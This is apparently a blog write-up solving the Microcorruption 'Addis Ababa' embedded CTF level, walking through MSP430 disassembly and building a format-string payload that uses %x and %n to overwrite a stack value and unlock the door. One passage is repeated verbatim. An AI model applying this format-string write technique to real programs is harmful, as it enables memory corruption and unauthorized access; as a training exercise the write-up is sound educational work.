Microcorruption (Embedded Security CTF): Addis Ababa

Next up is Addis Ababa.  I was stuck on this one for a while too, but after I got Jakarta, I returned to this challenge with renewed inspiration.

Addis Ababa Software Updates

So let’s see what we’re up against.  Again, they tell us that they’ve made sure that passwords cannot be too long.  They also note that usernames are printed back to the user.

I thought that was the case in earlier levels, but I guess not?  I checked on this and it turns out we were using puts, not printf.  But wow, who has room to fit printf on a MSP430?  Jealoussssss.

We also see that there’s an unconditional unlock_door function, maybe we’ll need that later.   

There’s also test_password_valid, where we call interrupt type 7D to conditionally unlock the door.  The bulk of the logic is in main.

Testing Out the Length Restrictions

We’re supposed to give it a username:password formatted string.

So, if we try AAAABBBBCCCCDDDD:aaaabbbbccccddd, we see that our input was cut off in memory:

No warnings or anything, no checks.  After a dozen levels, they finally got the length restrictions figured out.

That’s because of this line, which specifies 0x13 (or 19 in decimal) as the length for the getsn call.

4454:  3e40 1300      mov	#0x13, r14

Okay, so what now?

Let’s have another look at main.

Addis Ababa Main

Here’s the entirety of main:

4438 <main>
4438:  3150 eaff      add	#0xffea, sp
443c:  8143 0000      clr	0x0(sp)
4440:  3012 e644      push	#0x44e6 "Login with username:password below to authenticate.\n"
4444:  b012 c845      call	#0x45c8 <printf>
4448:  b140 1b45 0000 mov	#0x451b ">> ", 0x0(sp)
444e:  b012 c845      call	#0x45c8 <printf>
4452:  2153           incd	sp
4454:  3e40 1300      mov	#0x13, r14
4458:  3f40 0024      mov	#0x2400, r15
445c:  b012 8c45      call	#0x458c <getsn>
4460:  0b41           mov	sp, r11
4462:  2b53           incd	r11
4464:  3e40 0024      mov	#0x2400, r14
4468:  0f4b           mov	r11, r15
446a:  b012 de46      call	#0x46de <strcpy>
446e:  3f40 0024      mov	#0x2400, r15
4472:  b012 b044      call	#0x44b0 <test_password_valid>
4476:  814f 0000      mov	r15, 0x0(sp)
447a:  0b12           push	r11
447c:  b012 c845      call	#0x45c8 <printf>
4480:  2153           incd	sp
4482:  3f40 0a00      mov	#0xa, r15
4486:  b012 5045      call	#0x4550 <putchar>
448a:  8193 0000      tst	0x0(sp)
448e:  0324           jz	#0x4496 <main+0x5e>
4490:  b012 da44      call	#0x44da <unlock_door>
4494:  053c           jmp	#0x44a0 <main+0x68>
4496:  3012 1f45      push	#0x451f "That entry is not valid."
449a:  b012 c845      call	#0x45c8 <printf>
449e:  2153           incd	sp
44a0:  0f43           clr	r15
44a2:  3150 1600      add	#0x16, sp

Broadly speaking, we:

In real life, we’d probably not echo sensitive data back to the user, but this is a CTF so there are exceptions.  : )

Digging into printf

Since everything else seemed like a crapshoot, I decided to step through printf, one line at a time, and see how things worked.

I took notes on this line by it quickly became VERY tedious.

This is the first line that we have any control over.

4600:  6d4f           mov.b	@r15, r13
4602:  4d93           tst.b	r13
4604:  f223           jnz	#0x45ea <printf+0x22>

Here’s where we jump to.

45ea:  1f53           inc	r15
45ec:  7d90 2500      cmp.b	#0x25, r13
45f0:  0720           jne	#0x4600 <printf+0x38>
45f2:  6d9f           cmp.b	@r15, r13

We’re asking, “is the current char-to-be-printed equal to 0x25?  If so, continue to 0x45fa.  Then, is the next char equal to 0x25?”

0x25 is % in ASCII, which should look familiar to C-programmers.

If we pass that check, then… actually, I’m already tired of this.  Instead of continuing to step through, I type c to continue and notice that only a few of my %‘s printed up (I entered a ton of them in a row).  I already sort of know the answer, since it has a conditional for %% vs any other %* combination.

In any case, the big take away here is that I’m reminded of string format vulnerabilities.

String Format Bug

What is a string format bug?  Wikipedia says:

A malicious user may use the %s and %x format tokens, among others, to print data from the call stack or possibly other locations in memory. One may also write arbitrary data to arbitrary locations using the %n format token, which commands printf() and similar functions to write the number of bytes formatted to an address stored on the stack.

Wow that last part sounds great.

I find these lecture notes and read up on the %n format token.

So, we theoretically have the ability to write arbitrary data to an arbitrary location.  The question, then, is:

When I originally went through this, I made the mistake of thinking that I needed to change the flag location that the test_password_valid check is able to write to (in the case of a correct password).  However, I wasn’t paying full attention and didn’t realize that the test_password_valid check had already happened, so changing that flag didn’t do anything.  Still, I got plenty of practice in.  😅

What we would benefit from changing is the result of test_password_valid, which gets stored here:

4476: 814f 0000 mov r15, 0x0(sp)

And then later, after the printf, read from, here:

448a:  8193 0000      tst	0x0(sp)
448e:  0324           jz	#0x4496 <main+0x5e>
4490:  b012 da44      call	#0x44da <unlock_door>
4494:  053c           jmp	#0x44a0 <main+0x68>
4496:  3012 1f45      push	#0x451f "That entry is not valid."</pre>

Is the stack pointer pointing at the same spot for lines 0x4476 and 0x448a?  A quick run-through says “yes”.

While we’re doing that check, let’s grab the address:  0x30be

Next, what do we want to write to the address?  As just shown, we tst that byte, and then jump to “That entry is not valid” if the byte is equal to 0.  Soooo… we want to write a value of anything besides 0.

To recap:  we want to write a non-zero value to location 0x30be.

String Format Bugs, how do they work tho

This section was a lot of guess and check, and I returned to my previous strategy of stepping through, one line at a time.  If you struggle with string format bugs, I recommend that you do the same.

Is the stack pointer pointing at the same spot for lines 0x4476 and 0x448a?  A quick run-through says “yes”.

While we’re doing that check, let’s grab the address:  0x30be

Next, what do we want to write to the address?  As just shown, we tst that byte, and then jump to “That entry is not valid” if the byte is equal to 0.  Soooo… we want to write a value of anything besides 0.

To recap:  we want to write a non-zero value to location 0x30be.

String Format Bugs, how do they work tho

This section was a lot of guess and check, and I returned to my previous strategy of stepping through, one line at a time.  If you struggle with string format bugs, I recommend that you do the same.

Here’s the printf function, which is pretty long:

45c8 <printf>
45c8:  0b12           push	r11
45ca:  0a12           push	r10
45cc:  0912           push	r9
45ce:  0812           push	r8
45d0:  0712           push	r7
45d2:  0412           push	r4
45d4:  0441           mov	sp, r4
45d6:  3450 0c00      add	#0xc, r4
45da:  2183           decd	sp
45dc:  1b44 0200      mov	0x2(r4), r11
45e0:  8441 f2ff      mov	sp, -0xe(r4)
45e4:  0f4b           mov	r11, r15
45e6:  0e43           clr	r14
45e8:  0b3c           jmp	#0x4600 <printf+0x38>
45ea:  1f53           inc	r15
45ec:  7d90 2500      cmp.b	#0x25, r13
45f0:  0720           jne	#0x4600 <printf+0x38>
45f2:  6d9f           cmp.b	@r15, r13
45f4:  0320           jne	#0x45fc <printf+0x34>
45f6:  1f53           inc	r15
45f8:  0d43           clr	r13
45fa:  013c           jmp	#0x45fe <printf+0x36>
45fc:  1d43           mov	#0x1, r13
45fe:  0e5d           add	r13, r14
4600:  6d4f           mov.b	@r15, r13
4602:  4d93           tst.b	r13
4604:  f223           jnz	#0x45ea <printf+0x22>
4606:  0f4e           mov	r14, r15
4608:  0f5f           add	r15, r15
460a:  2f53           incd	r15
460c:  018f           sub	r15, sp
460e:  0941           mov	sp, r9
4610:  0c44           mov	r4, r12
4612:  2c52           add	#0x4, r12
4614:  0f41           mov	sp, r15
4616:  0d43           clr	r13
4618:  053c           jmp	#0x4624 <printf+0x5c>
461a:  af4c 0000      mov	@r12, 0x0(r15)
461e:  1d53           inc	r13
4620:  2f53           incd	r15
4622:  2c53           incd	r12
4624:  0d9e           cmp	r14, r13
4626:  f93b           jl	#0x461a <printf+0x52>
4628:  0a43           clr	r10
462a:  3740 0900      mov	#0x9, r7
462e:  4a3c           jmp	#0x46c4 <printf+0xfc>
4630:  084b           mov	r11, r8
4632:  1853           inc	r8
4634:  7f90 2500      cmp.b	#0x25, r15
4638:  0624           jeq	#0x4646 <printf+0x7e>
463a:  1a53           inc	r10
463c:  0b48           mov	r8, r11
463e:  8f11           sxt	r15
4640:  b012 5045      call	#0x4550
4644:  3f3c           jmp	#0x46c4 <printf+0xfc>
4646:  6e48           mov.b	@r8, r14
4648:  4e9f           cmp.b	r15, r14
464a:  0620           jne	#0x4658 <printf+0x90>
464c:  1a53           inc	r10
464e:  3f40 2500      mov	#0x25, r15
4652:  b012 5045      call	#0x4550
4656:  333c           jmp	#0x46be <printf+0xf6>
//  handle "%s" input here
4658:  7e90 7300      cmp.b	#0x73, r14
465c:  0b20           jne	#0x4674 <printf+0xac>
465e:  2b49           mov	@r9, r11
4660:  053c           jmp	#0x466c <printf+0xa4>
4662:  1a53           inc	r10
4664:  1b53           inc	r11
4666:  8f11           sxt	r15
4668:  b012 5045      call	#0x4550
466c:  6f4b           mov.b	@r11, r15
466e:  4f93           tst.b	r15
4670:  f823           jnz	#0x4662 <printf+0x9a>
4672:  253c           jmp	#0x46be <printf+0xf6>
//  handle "%x" input here
4674:  7e90 7800      cmp.b	#0x78, r14
4678:  1c20           jne	#0x46b2 <printf+0xea>
467a:  2b49           mov	@r9, r11
467c:  173c           jmp	#0x46ac <printf+0xe4>
467e:  0f4b           mov	r11, r15
4680:  8f10           swpb	r15
4682:  3ff0 ff00      and	#0xff, r15
4686:  12c3           clrc
4688:  0f10           rrc	r15
468a:  0f11           rra	r15
468c:  0f11           rra	r15
468e:  0f11           rra	r15
4690:  1a53           inc	r10
4692:  079f           cmp	r15, r7
4694:  0338           jl	#0x469c <printf+0xd4>
4696:  3f50 3000      add	#0x30, r15
469a:  023c           jmp	#0x46a0 <printf+0xd8>
469c:  3f50 5700      add	#0x57, r15
46a0:  b012 5045      call	#0x4550
46a4:  0b5b           add	r11, r11
46a6:  0b5b           add	r11, r11
46a8:  0b5b           add	r11, r11
46aa:  0b5b           add	r11, r11
46ac:  0b93           tst	r11
46ae:  e723           jnz	#0x467e <printf+0xb6>
46b0:  063c           jmp	#0x46be <printf+0xf6>
//  handle "%n" input here
46b2:  7e90 6e00      cmp.b	#0x6e, r14
46b6:  0320           jne	#0x46be <printf+0xf6>
46b8:  2f49           mov	@r9, r15
46ba:  8f4a 0000      mov	r10, 0x0(r15)
46be:  2953           incd	r9
46c0:  0b48           mov	r8, r11
46c2:  1b53           inc	r11
46c4:  6f4b           mov.b	@r11, r15
46c6:  4f93           tst.b	r15
46c8:  b323           jnz	#0x4630 <printf+0x68>
46ca:  1144 f2ff      mov	-0xe(r4), sp
46ce:  2153           incd	sp
46d0:  3441           pop	r4
46d2:  3741           pop	r7
46d4:  3841           pop	r8
46d6:  3941           pop	r9
46d8:  3a41           pop	r10
46da:  3b41           pop	r11
46dc:  3041           ret

There’s three special cases that we’re handling:  %s, %x and %n.

If we take a peek at the manual, we’ll see that those are listed in the printf section:

%x

From the lecture slides I linked earlier, they note that “%x” can be used to “view the stack” because it will print up one byte’s worth of information from the stack.

If we run the program and type “%x” we don’t see anything (at least anything printable).  But, if we type “%x %x”, we see:

If we go looking for that in the printf memory regions, we see:

It’s present at both 0x30a8, and at 0x30c0.  And, as it turns out, it’s also the hex equivalent of “%x”… part of our input string.  Wow, trippy.  Let’s pause that for now.

%s

The lecture slides also say that you can view any memory address, not just the ones next on the stack.

In their example, they use the hex values of the address they want to read, followed by %x for each byte.  Then at the end, they use %s, which prints up the values located at the memory address they provided.  We use the “%x” to position the memory correctly so that the %s at the end grabs the provided address and prints up the contents.

Let’s set some breakpoints at each of the special cases for %s, %x and %n (0x4658, 0x4674, and 0x46b2).

Let’s try to read from 0x2402, just for fun.  So, we type:  “022425782573” which is the equivalent to “x\02x\24 %x %s” (spaces added for readability).

It prints up “%x%s” which is the contents at 0x2402.

We could have read from our attack address but it’s 0x00 so we wouldn’t have seen anything interesting.

%n

Lastly, the lecture notes say that you can use %n to write the number of chars written so far into the memory address that you just described.

We know our intended attack address (0x30be) and we don’t really care what we write to it, as long as it’s more than 0.  Since we will have to print more than 0 characters while doing this, we don’t have to modify our code further to have a specific number written to the address.

We previously had:  022425782573

If we swap out the first 2 bytes for the new address, modified for endianness, we have:  be3025782573.

Lastly, we have to swap out the “2573”, or %s, for “256e” which is %n.

That gives us:  be302578256e

Addis Ababa Solution

Type reset and then run the program and enter be302578256e to write the attack address into memory, and then write a non-zero value to it.

Now, if we stop at our breakpoint on line 0x46b2, which is:

46b2:  7e90 6e00      cmp.b	#0x6e, r14

We can step through and see that we will write a value to location 0x30be.

46ba:  8f4a 0000      mov	r10, 0x0(r15)

The value in red is the attack address that we wrote, which will have the content of r10 (0x02) moved into it.

I also have a breakpoint at 0x448a so I can see that the overwritten value is tested, and the door is unlocked.

To finish this level, type solve, enter “be302578256e” and you’re done!